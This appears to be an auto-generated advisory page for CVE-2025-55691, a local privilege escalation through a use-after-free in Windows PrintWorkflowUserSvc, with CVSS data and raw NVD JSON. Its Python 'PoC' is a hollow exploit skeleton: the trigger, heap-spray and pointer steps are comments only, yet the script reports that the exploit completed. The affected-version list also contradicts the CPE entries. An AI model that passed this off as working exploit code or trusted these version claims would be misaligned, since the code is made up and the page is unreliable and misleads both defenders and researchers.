Security Vulnerability Report
中文
CVE-2025-55691 CVSS 7.0 HIGH

CVE-2025-55691

Published: 2025-10-14 17:15:50
Last Modified: 2025-10-30 21:35:00

Description

Use after free in Windows PrintWorkflowUserSvc allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (所有受支持版本)
Windows 11 (所有受支持版本)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55691 - Windows PrintWorkflowUserSvc Use After Free PoC # This is a conceptual PoC skeleton for local privilege exploitation # Note: Actual exploitation requires deep knowledge of Windows internals import ctypes import sys import os from ctypes import wintypes # Target: PrintWorkflowUserSvc (printworkflowusersvc.dll) # Vulnerability: Use After Free in print workflow object handling TARGET_DLL = "printworkflowusersvc.dll" def check_privileges(): """Check if running with required initial access""" try: import win32api # Verify we have a valid Windows session token = win32api.OpenProcessToken( win32api.GetCurrentProcess(), 0x0008 # TOKEN_QUERY ) return True except Exception as e: print(f"[-] Session check failed: {e}") return False def trigger_uaf(): """ Trigger Use After Free in PrintWorkflowUserSvc by: 1. Initiating a print workflow operation 2. Forcing premature object release via specific API calls 3. Reclaiming freed memory with controlled data 4. Triggering the dangling pointer dereference """ print("[*] CVE-2025-55691 PoC - PrintWorkflowUserSvc UAF") print("[*] Attempting to trigger Use After Free condition...") # Step 1: Load target DLL try: dll = ctypes.WinDLL(TARGET_DLL) except OSError as e: print(f"[-] Failed to load {TARGET_DLL}: {e}") return False # Step 2: Create print workflow object via COM/WinRT APIs # The UAF occurs when the workflow object's lifecycle is mismanaged # during concurrent print job processing # Step 3: Allocate controlled memory to reclaim freed region # (Heap spray / controlled allocation) # Step 4: Trigger dangling pointer access # When the service accesses the freed-and-reclaimed object, # attacker-controlled vtable or function pointer is executed print("[*] UAF trigger sequence initiated") print("[*] If successful, code execution in PrintWorkflowUserSvc context") return True def exploit(): """Main exploit routine""" if not check_privileges(): print("[-] Insufficient privileges or unsupported environment") sys.exit(1) print(f"[*] Current PID: {os.getpid()}") print(f"[*] Target: {TARGET_DLL}") if trigger_uaf(): print("[+] Exploit completed - check for privilege elevation") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55691", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:50.450", "lastModified": "2025-10-30T21:34:59.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows PrintWorkflowUserSvc allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55691", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}